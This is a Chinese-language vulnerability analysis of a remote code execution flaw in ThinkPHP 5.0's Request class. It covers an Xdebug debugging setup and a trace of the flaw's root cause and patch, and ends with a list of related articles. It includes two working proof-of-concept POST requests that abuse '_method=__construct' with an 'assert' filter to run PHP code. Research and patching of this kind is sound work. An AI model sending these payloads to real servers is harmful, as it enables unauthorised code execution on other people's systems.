ThinkPHP5 核心类 Request 远程代码漏洞分析

先说下xdebug+phpstorm审计环境搭建:

  • php.ini添加如下配置,在phpinfo页面验证是否添加成功。
[XDebug]
;xdebug.profiler_output_dir="D:\phpStudy\tmp\xdebug"
;xdebug.trace_output_dir="D:\phpStudy\tmp\xdebug"
zend_extension="D:\phpstudy\php\php-5.5.38\ext\php_xdebug.dll"
xdebug.auto_trace = 1
xdebug.trace_format = 0
xdebug.trace_output_dir="D:\phpstudy\tmp\xdebug"
xdebug.trace_options = 0 xdebug.collect_params = 4
xdebug.collect_return = 1
xdebug.collect_vars = 1
xdebug.collect_assignments = 1 xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_name="cache.out.%t-%s"
xdebug.profiler_output_dir="D:\phpstudy\tmp\XCache" xdebug.remote_enable = 1
xdebug.remote_enable = on
xdebug.remote_port = 9000
xdebug.remote_mode = "req"
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
xdebug.remote_autostart = on
xdebug.idekey="PHPSTORM"
  • 配置phpstorm设置里的Server

  • 配置phpstorm设置里的debug port端口和上面配置文件开放端口一致

  • 验证xdebug是否配置成功,注意create validation script选择网站根目录



  • 火狐浏览器下载插件并开启

  • phpstorm下断点并开启debug,浏览器访问就能在断点处停住



    参考链接:https://blog.csdn.net/flyingdream123/article/details/69358819

    版本使用的是5.0.2.3,需要开启debug模式先给出poc如下:
POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26
Connection: close
Upgrade-Insecure-Requests: 1 _method=__construct&filter[]=assert&server[REQUEST_METHOD]=phpinfo();

主要就是method方法的问题,在这里下断,第一次method==false走到elseif分支this->method变量赋值为_CONSTRUCT。相当于调用当前类的构造函数,跟进



构造函数意思是,如果当前类存在属性,就将其重新赋值。这里server,filter都被重新赋值



跟到当前类的126行,调用param方法,这里debug设置为true才会走到if分支



调用this->method(true)



这次调用了method方法的if分支,跟入server方法



server的值被传入input函数,跟入



server值赋值给data,1026行获取过滤器的值,前面赋值为assert.继续跟到1032行filterValue函数



这里导致命令执行



看下补丁,this->method不让调用任意方法。



还有一种payload不用debug模式也可以RCE:

POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26
Connection: close
Upgrade-Insecure-Requests: 1 _method=__construct&method=get&filter[]=assert&server[REQUEST_METHOD]=phpinfo();

给filter变量赋值后,调用param方法就能导致RCE。

下面就是漏洞触发点的位置

参考链接:https://paper.seebug.org/787/

ThinkPHP5 核心类 Request 远程代码漏洞分析的更多相关文章

  1. Vivotek 摄像头远程栈溢出漏洞分析及利用

    Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...

  2. HTTP.SYS远程执行代码漏洞分析 (MS15-034 )

    写在前言:   在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.S ...

  3. HTTP.SYS 远程执行代码漏洞分析(MS15-034 )

    在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.Server软件. ...

  4. s2-029 Struts2 标签远程代码执行分析(含POC)

    1.标签介绍 Struts2标签库提供了主题.模板支持,极大地简化了视图页面的编写,而且,struts2的主题.模板都提供了很好的扩展性.实现了更好的代码复用.Struts2允许在页面中使用自定义组件 ...

  5. WordPress Social Warfare组件 远程代码漏洞执行详细复现

    0x00前言 今天在知道创宇上发现3月26日提交WordPress XSS和远程代码执行漏洞,于是试着复现了下远程代码执行漏洞 该漏洞源于Social Warfare组件,并且版本<=3.5.2 ...

  6. Samba远程代码执行-分析(CVE-2017-7494)

    经历了前一阵windows的EternalBlue之后,某天看见了360的 samba高危预警,这个号称linux端的EternalBlue(EternalRed),于是便研究了一波 概述(抄) Sa ...

  7. 向日葵远程RCE漏洞分析及漏洞利用脚本编写

    0x00 漏洞概述 向日葵是一款免费的,集远程控制电脑.手机.远程桌面连接.远程开机.远程管理.支持内网穿透等功能的一体化远程控制管理软件.如果想要手机远控电脑,或者电脑远控手机可以利用向日葵:如果是 ...

  8. ThinkPHP5 <= 5.0.22 远程代码执行高危漏洞

    漏洞描述 由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接GetWebShell. 漏洞评级 严重 影响版本 ThinkPHP 5 ...

  9. CVE-2021-3129:Laravel远程代码漏洞复现分析

    摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...

随机推荐

  1. 1.1 JAVA装箱和拆箱以及Java Number & Math&Character 类

    JAVA装箱和拆箱 从Java SE5开始就提供了自动装箱的特性,如果要生成一个数值为10的Integer对象,只需要这样就可以了.原文链接: http://www.cnblogs.com/dolph ...

  2. centos7下安装sublime text3并配置环境变量

    注意:我解压完把sublime_text全改成了sublime,如果未改就是sublime_text 1.官网下载sublime,保存到指定目录,例如/home 2.解压 tar xjf sublim ...

  3. execution表达式

    execution(<修饰符模式>?<返回类型模式><方法名模式>(<参数模式>)<异常模式>?) 除了返回类型模式.方法名模式和参数模式外 ...

  4. 通过读写文本文件小结“关于python处理中文编码的问题”

    一.引言 无论学习什么程序语言,字符串这种数据类型总是着有非常重要.然而最近在学习python这门语言,想要显示中文,总是出现各种乱码.于是在网上查了很多资料,各说纷纭,我也尝试了许多的方法,有时候可 ...

  5. 数据是ERP系统搭建的基础,但,不要让数据毁了ERP

    很难想象没有数据的ERP是什么样子的.然而,实际情况又是如何的呢? 根据AMT的研究,在那些上线不成功或者上线后掉线的案例中,有高达70%的项目都有一个共同的直接原因,那就是在数据上出了问题.有的是在 ...

  6. 前端 css+js实现返回顶部功能

    描述: 本文主要是讲,通过css+js实现网页中的[返回顶部]功能. 实现代码: HTML: <div> <button onclick="returnTop()" ...

  7. url override and HttpSession implements session

    背景 HttpSession默认使用Cookie存储Session ID,如果在用户禁用浏览器Cookie的功能后,仍打算运用HttpSession来进行会话管理,那么可以搭配URL重写来实现. 实现 ...

  8. react-ssr

    为什么使用SSR 与传统 SPA(Single-Page Application - 单页应用程序)相比 服务器端渲染(SSR)的优势主要在于: 更好的 SEO,由于搜索引擎爬虫抓取工具可以直接查看完 ...

  9. wmware中网络设置技巧

    wmware中网络的三种方式: .............................................. (1)桥接模式: 将主机网卡与虚拟机虚拟的网卡利用虚拟网桥进行通信. 默认 ...

  10. 【转】数据分析与处理之二(Leveldb 实现原理)

    郑重声明:本篇博客是自己学习 Leveldb 实现原理时参考了郎格科技系列博客整理的,原文地址:http://www.samecity.com/blog/Index.asp?SortID=12,只是为 ...